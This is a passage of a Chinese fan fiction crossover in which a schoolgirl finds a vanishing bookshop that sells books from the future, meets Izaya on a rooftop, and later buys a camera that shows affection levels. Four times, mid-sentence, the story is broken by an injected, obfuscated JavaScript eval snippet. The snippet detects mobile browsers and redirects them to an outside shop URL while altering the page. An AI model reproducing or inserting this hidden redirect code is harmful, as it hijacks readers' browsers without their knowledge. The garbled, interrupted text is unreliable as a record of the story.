祢祢沉吟着点了点头:“也是……能把自动贩卖机抬起来丢出去和将那么大一棵树拔起来的人要是满大街都是那还了得。” “——那平和岛君岂不就是独一无二的了??!好酷!!!” 神间外公淡淡看了她一眼:“这些你是学不来的,看看就行了。” 祢祢撇了撇嘴,转移话题道:“话说池袋居然有这种人吗?前几年来的时候没见过呢。” “你要是在池袋常住就能早几年见识了。平和岛在没遇到折原临也之前还是相对安定的——只要没有不小心戳到他的雷点,他是不会拿自动贩卖机砸你的。” 祢祢:“……听上去还是很糟糕。” 她扭头看窗外的夜景,手下的筷子无意识的戳着米饭,喃喃:“池袋,真是奇怪啊……” “……说的好像你从前没来过池袋一样。”神间外公毫不客气的翻了个白眼:“这种就是所谓的‘中二病’吧?自我意识过剩的年轻人,有意无意的说一些在旁人看来很尴尬的话。” 祢祢无言片刻:“……老家伙懂得还挺多。”不过我才不是中二病。 神间外公得意的哼笑两声:“前两天买了两本在年轻人中流行的书。” “《明明已经有了我这么可爱的未婚妻,他却还是喜欢上了其他女孩子》?” “……那是什么鬼?听上去就很不正经。”神间外公皱眉,又补充道:“这种三心二意的男人不能要,不要光看脸,外貌不重要,重要的是人品。” 祢祢:“……市面上大多数正在热销的小说在你们老一辈眼里都是‘不正经’的书吧?再说,外貌当然也很重要了,要是我未来的丈夫很丑的话……” 她忍不住皱起眉,想说自己绝对不会喜欢丑男人,现在的初恋是并盛校花。 但又怕对方不像美佐纪那么开明,觉得这个年纪谈恋爱太早,就又咽了下去。 她给了外公一个‘你自己品’的眼神,从善如流的转移话题:“话说池袋还有没有其他有趣的事啊?感觉这次回来变了好多呢。” 神间外公:“啊,那还真有一个。” 祢祢表示洗耳恭听。 神间外公用一种给小孩讲恐怖故事的语气和神情,幽幽慢语:“你知道,无头骑士吗?” “无头骑士?” “在黑夜里骑着黑色摩托、在池袋的街头奔走、带着全包裹式头盔、没有脑袋却依旧能活动自如。” “……听上去像是某种都市怪谈。” “不是哦,据说有人拍到了照片呢。” 外公依旧用一种富有故事感的苍老声音说着。 祢祢忍不住收回望着窗外霓虹的视线,看向对面的人,然后发现神间外公虽然语气很是叫人信服,但面上仍然是那副松弛而漫不经心的模样,很明显是在吓唬她。 ……不过她又不是国小的幼稚小孩,这种程度的故事是吓不到她的。 她于是用看老顽童的眼神看了他一眼:“别嘴硬了,这种事情一听就是跟那种‘厕所里的花子’‘不存在的第十三层阶梯’属于同一性质的怪谈传说吧?说不定是你从贴吧不知道那个角落翻出来的,一听就是假的。” “不一定哦。”神间外公突然很轻的笑了一声。 祢祢闻声看过去,但对方却已恢复了原样,苍老花白的睫毛垂下半遮住他的眼,外公低头抿了口茶,发出很轻的声响。 青花瓷茶杯的杯口冒着朦胧的热气,祢祢看不清他的神色。 “池袋这个地方,发生什么都有可能。” /// 见崎祢祢在街角发现了一家书店。 这似乎并没有什么值得特地说的,毕竟池袋又不比并盛那个小地方,几乎什么店铺都能在这里找到,只是书店而已,池袋不知道有几十家。 问题是这家书店看上去特别破旧。 不是为了氛围感的故意做旧,而是经历过长久的雨打风吹和无人修葺所造成的自然老化。 在池袋这种繁华的地带,这样一商铺实在有些格格不入,以至于叫祢祢一眼就注意到了它。 而且,虽然处在街道角落,但这附近好歹有算大型高校,一家书店破败成这样实在有些不正常。 祢祢抬头看了看木质门头上刻着的“角落书屋”,又看了看被挂在把手上同样木制的“营业中”牌子,觉得它现在还在开业就是最不正常的地方。 而且,它看上去真的好眼熟啊!! 如果没记错的话,她幼时居住的东京、在中国居住的城市、甚至还有并盛町那个小地方,都有类似的店铺…… 所以说“角落书屋”难道是全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565062|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界通行的吗?感觉在每个地方的角落都能发现它呢。 于是,出于好奇,祢祢走进了这家书店——好吧,其实是想找个地方避暑又不想多走路,而这家书店看上去很凉快的样子。 祢祢推开那扇门,迎客用的铃铛‘叮铃’一声清脆地响。 室内温度如她所料地并不高,比外面凉快不少,但还是有点门,大概是没开窗户的缘故。 入目是一片整整齐齐码放在书架上的书籍。书店并不大,祢祢能看到最后几排其实放的不是图书,乱七八糟堆放着一堆百货,她甚至看到数码相机和板装药片被摆放在一起。 “欢迎光临。” 一把冷淡的嗓音在书架的后面传来,平静而淡然,听不出具体是男是女,甚至听不出主人的年龄。 当然,祢祢也不在意店主人的性别和年龄,反正她就是个来乘凉的,如果有合适的话可能还会买两本书。 店内的装潢和外面一样,给人以破败陈旧的感觉,金属书架上甚至还有几块扎眼的锈迹,让祢祢看得直皱眉。 但来都来了,什么都不干就离开不符合祢祢的美学——好吧,只是不想出去晒太阳,毕竟这间书店虽然并没有开空调,但温度是真的很好。 出人意料的是,和看上去就很糟糕的环境不同,这里的书保存的居然意外的好。 祢祢垫脚取下一本翻了翻,的确是被保存的极好,甚至比大多数书店都要好,简直像刚印刷好就被放上来似的,可以嗅到很明显的油墨味。 她又看了看插画和介绍,然后又在中间部分翻看了两页,后知后觉的意识到:啊,这个好像是真纯爱。 她看了看封面,嗯,很陌生,估计是最近新出的。 找到一本心仪的书让祢祢心情好了不少,她又从书架上取了几本书,竟然无一例外都很对她胃口!这家店主也是纯爱战士么?!真是好品味!! 祢祢在店里待了半个多小时,然后抱着一大摞书到了柜台。 ——要不是实在抱不动了,祢祢可能会把整个书店搬空——怎么会有这么符合她心意的书店啊!!简直像是为她量身定做的一样!! “结账!” 祢祢将那一摞书堆在柜台上,强压欣喜霸气道。 书店老板——这时祢祢才看清对方的长相,是一张雌雄莫辨的脸。 这里的雌雄莫辨不是指男生女相或者女生男相,而是真的辨别不出性别,就和对方的声音一样。 但就和对方的声音一样,这人的面孔十分平平无奇,除了冷淡外没有其他特点,是那种丢到人群中就找不到人的类型,看上去十分适合当卧底。 书店老板看了那摞书一眼,用毫无波动的语气道:“本店每次仅限购一件。” 祢祢:“……啊??” “本店每次仅限购一件。”重复。 “……这可是书店欸!!这么会有这种规定啊!!!” “本店每次仅限购一件。”再重复。 “…………” “……………………” 祢祢和书店老板大眼瞪小眼。 祢祢……祢祢决定尊重别人定下的规定。 她在那摞书中挑挑捡捡,最后选了本封面主角是蓝眼睛的出来。 “就这本吧……”她不舍的看了一眼剩下的书,沉痛道。 店老板沉默着为她找了零包了书,然后继续用毫无波动的语调开口:“欢迎下次光临。” 祢祢拿着包好的书出了店,决定明天临走前再来一趟。 ——至于等下次来时发现书店已经不在原地了然后发现这本被她在八月份看完的书其实在九月份才印刷第一版第一次就是后话了。 12. 轻小说的开头 那的确是一本很好看的小说。 在看完它之后,祢祢又开始惦记那几本被她选剩下的。 彼时她已经回到了并盛,闲暇时间逛遍了全并盛的书店都没找到那天见过的书,祢祢对此感到失落无比。 果然并盛这种小地方就是会少很多东西吧…… 于是她打算等过段时间再回池袋一趟。 然后,在九月的某一天。 祢祢和笹川京子黑川花她们一起出门,刚好路过一家书店,看到了门口张贴的海报——正是她上个月在池袋买的那本书。 ——祢祢对蓝眼睛女主角那轻佻又冷淡的矛盾神情印象深刻。 她立刻停了下来,扯着笹川京子的衬衫下摆,兴奋地指着海报:“这本书超级好看的!女主角特别有魅力!!我要是男主我也会爱上她的!!” “……《于梦境的尾声坠入爱河》?” 黑川花看了看封面上的书名,顿时露出了有些嫌弃的神情:“听着就是那种很幼稚的幻想恋爱小说。” “但是真的很好看啊!”祢祢力求用自己最真诚的眼神感动她:“我已经看了三遍了!!” “三遍?” 这时三人已经走进了了书店,黑川花拿起其中一本随意翻看着,听见祢祢的话挑了眉,比划了下不算薄的书脊厚度:“那你看得还挺快的,这是这个月新出的书吧?” “啊?”祢祢神色茫然道:“这本……不是上个月就出了吗?” 她记得自己是在八月中旬的时候回的池袋啊。 “不是哦。”笹川京子将信息页上版次和印次指给她看:“的确是这个月刚印的第一版第一次呢。” 祢祢呆呆接过笹川京子手中的书,瞪着‘20XX年9月第一版’的版次和‘,20XX年9月第一次印刷’的印次陷入沉默。 “祢祢酱?”直到笹川京子在她眼前晃了晃手才回过神来,直愣愣地“嗯”了一声。 “……可能真的是我记错了吧哈哈哈。”她打着哈哈,“感觉自己一放假就变傻了呢……” 笹川京子温柔地笑:“大概是因为假期的时候没有注意日期所以记错了吧,我偶尔也会这样呢。” 黑川花:“啊,不用找借口了,这家伙不是一直都傻乎乎的吗。” 祢祢委屈小声:“我以为我的年级前三至少不少吃出来的……” …… “你不是已经有一本了吗?还要再买吗?”黑川花看着她手中仍然抱着的书,问道。 “啊,呃……嗯!”祢祢用力点了点头:“因为好看的书就是要多买几本嘛!各种用途都有作用……保存用、观赏用、实际用、传教用……这样子……” 黑川花:“………” 黑川花:“‘传教用’是个什么鬼啊?!” 祢祢老实道:“就是把这本书安利给其他人,让对方也喜欢上这本书。” 黑川花:“……其实可以换种说法的,这样听上去像是什么邪教组织。” “不,又要用传教!因为我推就是卡密啊!!”祢祢突然激动,高举起手中的书:“七海树里!世界上最完美的女人!女人中的女人!雌性中的雌性!女人中的支配者!梦世界的统治者!她的存在,就是一种比地心引力更强大的吸引力!!” 黑川花:“…………” 不是,谁会被这种口号吸引啊?!?好尬好中二!!! “祢祢酱真是有活力啊……这本书真的有那么好看吗?” 一旁的笹川京子很感兴趣的拿起了一本打量:“不过女主角的名字真是有点奇怪呢……‘Kili’……是写作雾霾的‘雾’(Kili)吗?” “啊,不是。是‘树里’(Kili),树木的‘树’,表里的‘里’……” “真是有意境的名字呢,这是一个怎样的故事呢?” “嗯……就是一个男主角发现自己一天的时间不止二十四小时,然后在静止的时间里遇到了看起来就很神秘的女主角树里,为了弄明白自己身上的异常事件的真相就一直跟着她,然后开启了一段新奇冒险的故事……唔,只能说到这儿了,再多就剧透了……” “听上去真的很有意思呢!” 黑川花:“……………” 居、居然真的成功了?!? ——真的这么好看吗……?? 好像设定听上去是蛮有趣的…… 于是她犹豫着,也从一旁的架子上取了一本。 /// 见崎家。 祢祢的卧室。 回到家的祢祢将新买的那本书放到一旁的书桌上,抬手取出了另一本书。 ——这本最近很是受她宠爱的书并没有被放进书架,而是跟她的常用书一起被竖进桌面书立里。 她抖着手翻开信息页,看见和方才在书店里看到的一般无二的文字。 ——这的确是一本在今年九月才印刷出来第一版第一次的新书。 ……但这本书她在上个月——八月,就已经买下并看完了啊!! 到底是哪里出了问题啊……!! 她将两本书放在一起观察打量,发现除了新旧磨损有些许不同外,这两本书的的确确是一模一样的。 祢祢……祢祢感到恐慌又兴奋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565063|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊啊…… 这种轻小说开头一样的情节……!! ……虽然比不上「陌生的天花板」经典,但以异常事故和非日常事件开头的故事不知凡几,桌面上那本《于梦境的尾声坠入爱河》不就是个例子吗? ——上个月看完的书其实这个月才出版发售什么的…… 这个主角……终于轮到我来当了么……?!! ……这样的话,接下来的剧情会是什么? ——难道她其实拥有沟通未来的特殊能力?所以才能提前一个月看到未发售的新书? ——还是说她其实有梦想成真之术?所以才能找到那么一大堆自己喜欢的纯爱小说?只能拿走一本是因为异能的限制?小说里都是这么写的。 ——亦或者她马上就要穿越到这本因不平凡原因来到自己身边的书里了吗?那她可以和树里小姐谈恋爱吗? 不不不——不可以!她和树里可都是女孩子,怎么可以谈恋爱呀!你难道忘了你亲爱的云雀前辈了吗见崎祢祢?! ……可恶!这一定都是因为她还没从男主思维里退出来!!谁让男主这个恋爱脑这么喜欢树里的,把她都给影响啦!! 祢祢深吸了一口气,打算让自己平静点再思考这个问题。 ……也有可能是那家书店有问题。 冷静下来的见崎小姐如是想道。 那种破败又老旧的书屋在池袋可真是异常,能开到现在就更是异常了。 再加上店主那古怪的设定——说实话,即使曾经与那家伙面对面,但祢祢却依旧连对方最基础的性别都认不出。 至于长相就更别说了,就算现在出现在面前——唔,她还是能认出来的……如果她面前只有对方一个人的话。毕竟那种平平无奇到极致的相貌也还真是不多见。 书——那本比出版时间早了一个月被她买下来的冒险恋爱小说,就是从那里买的。 只能买一件这个规定也很不对劲……书店怎么会有这种规定啊?! 仔细想想,书店老板的反应也很不对劲啊…… 这家伙自从她进来好像就说了这么几句“欢迎光临”、“本店每次仅限购一件”、“欢迎下次光临”,还有报价。 ……而且有一句还说了好几遍,连语气和神情都不带变的,跟那什么人机似的。 ……还有那天神间外公说的那句“池袋这个地方,发生什么都有可能”。——听上去真的特别像是什么flag啊…… 果然哪里都透着古怪吧……?! 于是,祢祢打算再回一趟池袋,探查此事的真相——嘶……真的特别像轻小说的起始啊!! 13. 非人类临也君 ……没找到。 原来的那条巷尾没找到。整个东池袋都没找到。 那家‘角落书屋’,就像是凭空消失了一样。 ——更叫人好奇了啊。 见崎祢祢坐在楼顶天台吹着夜风,将大脑放空——其实她觉得可能是被风吹的。 那风扑在她脸上,头发被拂得往后倒的感觉挺叫人上瘾的,而且现在的气候也很不错,很舒服,很惬意。 ……暂时不想去想那些乱七八糟的奇怪事情了。 她稍微低下头,看见身下一截生着黑灰的石台,还有楼下因为背光所以显得很是昏暗的巷道,只有路口形单影只地立着一道路灯,灯影惨白。 祢祢看了看楼顶到楼下的距离,突然后知后觉感到有些紧张——如果不小心从这里摔下去的话,她一定会死掉的吧?一定会的吧?! 祢祢感觉自己起了一身鸡皮疙瘩。 她撑在石台上的手朝后摸索,握住了触感粗糙的金属栏杆,冰凉的温度叫她忍不住打了个寒颤。 她撑起身体打算翻越那道栏杆,让自己落到里侧更安全的地方—— “晚上好。”是一把属于少年人的,清朗又柔滑的嗓音。 很好听。 如果不是在现在出现的话——如果见崎祢祢没有因为这道突然出现的声音吓得差点脚滑的话。 “啊呀!”像是被这件突如其来的变故惊了一跳,他的声音变得有些惊慌,似乎很是好心地发问:“怎么做这么危险的事呀,需要帮忙吗?我可以拉你一把哦。” “……不用。” 祢祢没好气道,黑着脸翻进了护栏内侧。 回到安全地带,祢祢先是跺了跺脚,让因为动作往上翻的裙摆恢复原样,又抬手拍了两下手掌,将方才粘上的护栏栏杆表面风化的油漆脆片拍打下来。 掌心上还有一些暗红色的锈灰,她低头看了看,混不在意的将它擦在自己深灰的衣裙上——反正过会儿回家这件在盛夏被穿了一整天的衣服肯定是要换下来清洗的,用不着讲究这么多。 做完这些,她才不紧不慢的抬头,一双在黑夜里依旧明亮的眼睛不怀好意地眯了眯,锁定了面前的人,然后又缓缓睁大了——黑色的,短短的头发,鸽血石一样的红色眼睛,露出了锁骨的V领上衣…… 有点眼熟啊…… 她盯了对方那截被露出来的,线条漂亮的清瘦锁骨半晌,在对方装模作样像是要开口说什么俏皮话之前终于想起那点眼熟源自哪里了—— 她分明在上个月才见过他—— “……Izaya君?”她轻微皱着眉,试探着开口。 “……欸?”黑发少年露出了有些惊讶的表情:“我们难道在之前认识吗?我怎么没有映象呢?” “不认识。”祢祢诚实道:“但我之前见过你被装着樱桃味胡椒博士的自动贩卖机砸,那个朝你丢东西的……呃,静君!就是染了金头发的那个。我听到他喊你名字了——i-za-ya,对吧?很特别的名字,所以就记住了。” 祢祢一时半会记不起来那天从神间外公嘴里知道的名字,不过她还记得他名字里的的确确是有个‘静’字的。 ……看起来很暴躁的金发不良名字居然是‘静’吗……?真是有反差啊。 “啊,是的呢。”Izaya君笑得特别温和亲切——就是那种看上去就给人以‘这人一定可以信任’感觉的神情,他说话的语气也给人以相同的感觉:“是叫折原临也哦,写作‘临也’。” 临也君修长的手指在半空中划拉了几下,以指尖作笔书写着。 祢祢……祢祢看不懂。 ——天这么黑叫她怎么看啊?! ……不过不要紧,反正只是萍水相逢而已,并不需要要求自己记住对方名字的写法。 她转移话题:“话说临也君怎么会在这儿?天已经很晚了吧?” “对池袋来说,夜生活现在才开始呢。”临也君温温柔柔地回道,“而且,这位……”他顿了顿,见祢祢依旧没什么反应的样子,眨了两下眼:“这位小姐好像还没有自我介绍?” “啊,对哦。”祢祢后知后觉的朝他歉意地笑了笑:“抱歉,真是失礼了——你可以喊我见崎。” “‘Misaki’吗?真是可爱的名字……不过,我真的可以直接叫你的名字吗?” “当然可以啊。不过这个是我的姓氏来着,我的名字是祢祢。”见崎祢祢耐心解释。 “好,我知道了——刚刚那句话应该是我来问祢祢才对吧?女孩子这么晚一个人待在这么偏僻的地方可是很危险的哦。话说刚刚那个行为就已经很危险了呢,差点以为祢祢你想要轻生呢。” “欸?!轻生……?”祢祢有些惊讶的重复道。 然后发现自己刚刚坐在护栏外的石台上晃悠着腿脚的样子确实很像是一些文艺电影中时常会出现的镜头——那种美少女在天台边晃荡两下腿然后毫无预兆地一跃而下的场景。 ——不知道在哪部电影里看过,但世界上肯定有一幕这样的镜头。 “没有啦!”她忙摆手解释:“我只是有点累,所以想到高处看看夜景吹吹风而已……” “‘有点累’吗……?”他俏皮地眨了眨眼,评价道:“听上去更像是来轻生的了呢。” “……反正不是啦!”祢祢想起自己刚刚被他吓到的那一下,觉得有些不高兴,但想想对方可能是打算好心阻止她‘轻生’的,却又隐约觉得好像哪里有些不对劲…… 于是这脾气发也不是不发也不是,叫她很是纠结不悦,连带着被说出口的话语气也并不算好:“我马上就要回家了,临也君也别在外面晃荡了,说不定会被人贩子抓走。” “人贩子可抓不走我呢。” 折原临也用一种很柔和的语气说道。 然后祢祢就突然想到那天他跟那个黄毛不良——静君打架的场景,迟疑着停了下来,扭头看他,对上他似乎在轻微闪着光的红眼睛,觉得有些背后发凉,但依旧开了口——因为这涉及一个很重要的问题: “那位静君……是有什么特殊能力吗?类似小说里的异能那样,他是传说中的特殊能力者吗?” “异能?小静吗……” “啊,是的。感觉静君徒手抬起自动贩卖机丢出去的样子就像……呃,都市传说,比如‘戴全罩式头盔骑黑摩托的无头骑士’那样……看上去很不可思议……” 他的眼中骤然流泻出了一瞬她读不太懂的情绪——祢祢确信自己这次绝对没有看错。于是她看向他的视线中便不自觉的带上了一丝审视。 他看向她,顿了顿,有些意味深长地眯了眯眼。 ——折原临也。他还是笑得那么温和又真诚,看上去真的就像是个普通路过的好心人。 但见崎祢祢却不禁打了个寒颤,觉得他那副诚恳又真挚的表情像是一张轻薄的假面,忍不住朝后退了两步。 “……祢祢小姐?” 她听到他带着些许疑惑的声音,语调依旧清润又温和,像是什么教养极好的绅士。 但祢祢依旧能感受到那道抹不去的违和感。 她掩盖住自己眼中的茫然,凭着直觉又向后移了两步——朝天台出口的方向。 ——她再退两步就到楼梯口了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565064|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> ……要离开吗……? 虽然感觉他整个人都很古怪,但对方看起来知道很多普通人不知道的事的样子,就这样错过会不会太可惜? 她又想起那本冒险恋爱小说,觉得自己现在好像是拿了男主剧本,发现了生活中的异常事件,自己追查一通无果后遇见神秘美少女……呃,美少年。 接下来是不是就要跟随他一起探索世界的真相,拯救世界顺便谈恋爱? ——不要啊!这个女主剧本可不可以给云雀前辈啊?!我不要跟这个好像双重人格一样的家伙谈恋爱!! 祢祢看着对面少年突然转变的神情,在内心咆哮,觉得这个事件发展真是魔幻极了。 ——折原临也这家伙的神情刚被祢祢在在心里评价为像是‘轻薄的假面’,下一秒,这张假面就被他自己给轻飘飘地揭了下来,露出了因为过分冷漠以至于在惨白的灯光下显得有些狰狞扭曲的面孔。 “小静是怪物哦。”他居然还很有礼貌的回答了她刚刚的问题,语气听着甜蜜得叫人恶心,配着他面无表情的脸更显诡异。 但祢祢的注意力却几乎瞬间被这句话引了过去:“什么意思?他不是人类吗?” “生理上勉强一下还可以勉强称之为人类吧,但是——”但是我拒绝将这种仅凭蛮力就打破规则的生物划入人类的范畴。 但祢祢没等他说完就追问:“——只有生理上?他难道是被恶灵寄生了?!‘勉强’又是什么意思?他难道被恶灵改造了身体,所以已经称不上真正的人类了?” 折原临也:“……不、” 祢祢:“——这个世界上难道真的有这么玄幻的事吗……?恶灵什么的都是存在的吗?!那传说中的‘无头骑士’也是真的了?!” 折原临也:“……这个确实是真的,但是——” 祢祢瞪大眼睛,语调猛然拔高:“——是真的?!!” 祢祢看着折原临也被灯光映得惨白的脸,觉得他看着也不大像人。 ——给被恶灵附身的人起‘小静’这种难听但很亲昵的绰号,说不定他们关系其实很好,是同类也说不定…… ……说不定他大半夜上天台就是为了猎杀人类作为食物……或许绝望的人类对恶灵来说是人间美味,所以他才选定了看上去想要跳楼轻生的她…… ……然后用美丽的外表和甜蜜的话语诱哄无知少女羊入虎口,就像传说中的海妖塞壬一样……他会唱歌吗……? ……不知道,但他的声音是真的挺好听,清朗又嘹亮,音色细腻柔亮,念书吟诗什么的似乎很合适…… ……他之前一定就是这么诱拐无知少女的吧? ……真是诡计多端的非人类!! ——她的眼里明晃晃地这么写着。 折原临也:“……” 在折原临也不加掩饰的嫌弃表情中,祢祢警惕地后退几步,然后差点被门栏绊倒,踉跄两步后才又扶着门边站稳。 感觉到掌下冰凉粗糙的质感,她意识到这扇门跟刚刚那个护栏是同一材质与情况,自己的手上肯定又粘上了风化油漆脆皮和暗红色的铁锈灰。 但现在不是思考这种事的时候—— 祢祢深吸一口气,最后用复杂的目光看了一眼嘴角轻微抽搐但依旧人模人样的折原临也,转身就跑。 ——如果再不跑的话,说不定一过某个时间段他就开狂暴了,到时候变丑又变强,她这个普通人就只有被吃掉的份了!——小说里都是这么写的。 ——我不要当轻小说主角了!我还是更想要活命啊!! ——再见了!非人类!再见了!非日常! 14. 神奇的书屋在哪里? 见崎祢祢本以为,远离池袋,自己离那些非日常就远了。 她可以回归到自己的日常生活当中,和朋友们一起打打闹闹,恢复到从前的状态,当一个普通的中学生。这样也挺好的。 ……只成功了一半。 她确实回归到从前的日常生活当中了,和沢田纲吉山本武他们一起写作业打游戏,和笹川京子黑川花她们一起逛街聊杂志。 偶尔,她也会遇上巡逻的云雀恭弥,这时祢祢就会主动开口搭话——都玩暗恋大半年了,祢祢现在已经可以像和沢田纲吉他们相处一样和云雀恭弥相处了。 ——当然是假的。 只是没有之前那么紧张了而已,至少看上去像是稍微熟悉一些的普通同学了。 先前她遇上云雀恭弥的模样被沢田纲吉看见后,他沉默片刻吐槽她像“遇见教导主任的倒数第一”。 ……总之,是很平常的生活,是属于见崎祢祢的日常。 直到临近开学,她出去采购开学用品。 —— 巷子的尽头,阳光的背面,晴天时给人的感觉像是盛夏时的树荫,清凉又舒适。 ……但似乎有点凉快过头了,让她在盛夏正午时分起了一身鸡皮疙瘩。 见崎祢祢的耳机里响着激烈的摇滚乐,那原先在闹市觉得刚刚好的旋律现在撞得她脑仁疼。 简直像是在把她的鼓膜当成鼓在敲。她想。 然后她抬手把耳机摘了下来,将耳机线团把团把连着播放器一起塞进了衣兜,抬头定定望着店门上的木质门头上刻着的‘角落书屋’和门把手上‘营业中’的挂牌。 ……多么熟悉啊。 ——一切异常的起源。 /// 祢祢急促地喘了两口气,上前一步推开了门,迎客铃发出清脆的声响,祢祢感觉自己因为这道声音又起了一身鸡皮疙瘩。 店里的装潢和上次在池袋那次一模一样,甚至连她上次堆在柜台上的,被挑剩的那摞恋爱小说都依旧在哪儿,甚至连角度都没怎么变。 ……但这里的确是并盛而不是池袋,她上次来也的确是在一个多月前了。 “欢迎光临。” 和上次一样,那个认不清性别和相貌的人用同样认不出性别和年龄的声音冷淡道。 见崎祢祢静静站了会儿,等感觉自己的心跳趋于平衡后才迈步向前走。 说实话,除了在最初几个月面对云雀恭弥的时候,她的心脏还没跳得这么快过。 她想,要是这个店老板长得好看一点,她说不定会因为吊桥效应爱上他。 她这次没像上次那样直接走道其中一个架子前取书,而是每个架子都挨个走过,着重去看书脊上的书名。 突然,祢祢停了下来,盯着书脊上的名字看了看,把它取了下来,神色复杂—— 啊……居然看到了《全○猎人》的完结卷……真是太玄幻了…… 唔……再看看印刷日期……呃,原来富○义博还能活这么久吗? ——说起印刷日期,祢祢挑选了几本翻看,发现全部都是第一版第一次印刷。 ……也就是说,这些书一印刷出来就被放到这儿了?还有那么多来自未来的书和绝版书,都在这儿了?世界上的所有书吗? 想想就不可能。 这么小一家书屋是不可能装下古今中外所有书籍的。这家书店一共就只有六个书架,最后一个摆的甚至不是书,而是一些乱七八糟的杂物,相机啊文具啊之类的…… ——等等! 店里的书是来自未来的书……那后面那些杂物是……? 祢祢紧张地咽了口唾沫,绕过面前的书架走向最后方。 ……似乎和普通的用品没什么区别。 祢祢盯着那些东西,用一种很专注的目光,如果那些东西有思想大概会惊慌失措的寻找掩体吧,因为那的确是一种会让人觉得惊悚的,带着过分探索欲的视线。 她抬手,从架子上取下一支签字笔,凑近眼前细细打量。 ……的确是和平常自己用的那些差不多,这种款式是她最常用的那种,不出意外的话,这次采购她同样会买上一把。 本子,笔,橡皮…… 看着都很普通,忽略那些来自未来的未出版的书,见崎祢祢恐怕真的会以为这是家普通的书屋,毕竟大多数在学校附近的书屋书店都会买文具、日用品,还有一些在学生之间流行的小玩意儿。 DV相机拍立得什么的…… 啊,好像有什么不对。 祢祢皱眉看着相机外包装上的粉色字体,觉得这个这个世界果真是玄幻。 /// “呐,阿纲,我们来拍照吧?”祢祢扯了扯他的袖子询问,但用的是肯定的语气,因为沢田纲吉从来没有拒绝过她。 果不其然,棕发少年一边嘀咕“怎么突然对这个感兴趣了”一边弯下配合坐在石阶上的祢祢的高度。 祢祢将翻盖DV打开,旋转屏幕,于是两张贴在一起的少年人脸就出现在面前。 祢祢盯着二人头顶的数字,缓声问:“你有看到什么吗?” 沢田纲吉睁着无辜的大眼睛,神色茫然:“什么……?” 他看向祢祢手中的相机屏幕,少年少女亲密的凑在一起,身后是半截挂着茂密绿叶的树枝,和透彻的过分美丽的湛蓝天幕。 他的颊侧轻轻蹭着她毛茸茸的发顶,橙花的香气随着呼吸传进他的大脑,沢田纲吉的身体猛然僵住。 离得,似乎有些太近了…… 一但意识到这点,他就突然开始感到手足无措了,并且眼睁睁看着自己屏幕里的脸肉眼可见的变红,和身侧少女牛奶冰淇淋一样细腻白皙的脸颊行成了鲜明的对比。 会、会被发现吗……? 他紧张又期待的想。 …… “原来阿纲这么喜欢我啊……”沢田纲吉听见她这么说,用一种小孩子发现了新玩具并对其感到十分满意的语气。 “我也很喜欢阿纲呢!”她的声音甜蜜而柔软。“阿纲果然是我最好的朋友!不过我也和阿纲喜欢我一样喜欢着阿纲,我们的喜欢是同值的呢!” 沢田纲吉:“……” 沢田纲吉感觉自己心里乱撞的小鹿变成一只兔子——守株待兔故事里的那只兔子,一下子就撞死了。 ……你的喜欢显然和我的是不一样的吧?!那种喜欢这么可能被用这种幼稚得像幼儿园小孩子交朋友的语气说出来啊!? 【好感度相机~真爱检测器~】 ——盒子上是这么写的,很形象了,这是一个能看到自己和别人好感度的相机。 虽然来自未来的书和池袋无头骑士跟恶灵附身的不良少年这些事已经足够奇幻了,但这个像是乙女游戏道具一样的相机还是给了祢祢极大的震撼。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565065|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 于是,出于好奇,祢祢买下了它。 ……居然没有说明书,差评! 但即使没有说明书,相机的用法似乎也很显而易见,只需要拍张照片就能发现——当有人的正面出现在视野中时,就能看到好感度。 就比如自拍时,祢祢看到自己头上的数字——是100,这是她对她自己的好感度。 再比如她和沢田纲吉合照的时候,她头上的数字是82——这是她对沢田纲吉的好感度, 沢田纲吉头上的是85——这是他对她的好感度——真的很高了,沢田纲吉对他自己的好感度也只有93而已。 知道自己最好的朋友比自己喜欢他还有更喜欢自己这件事让祢祢很高兴,头顶上的数字便又突突涨了两位,变成了同样的85。 祢祢盯着它甜美的少女粉机身,觉得放弃《全○猎人》买它确实不亏,这对她现在的境地特别有帮助。 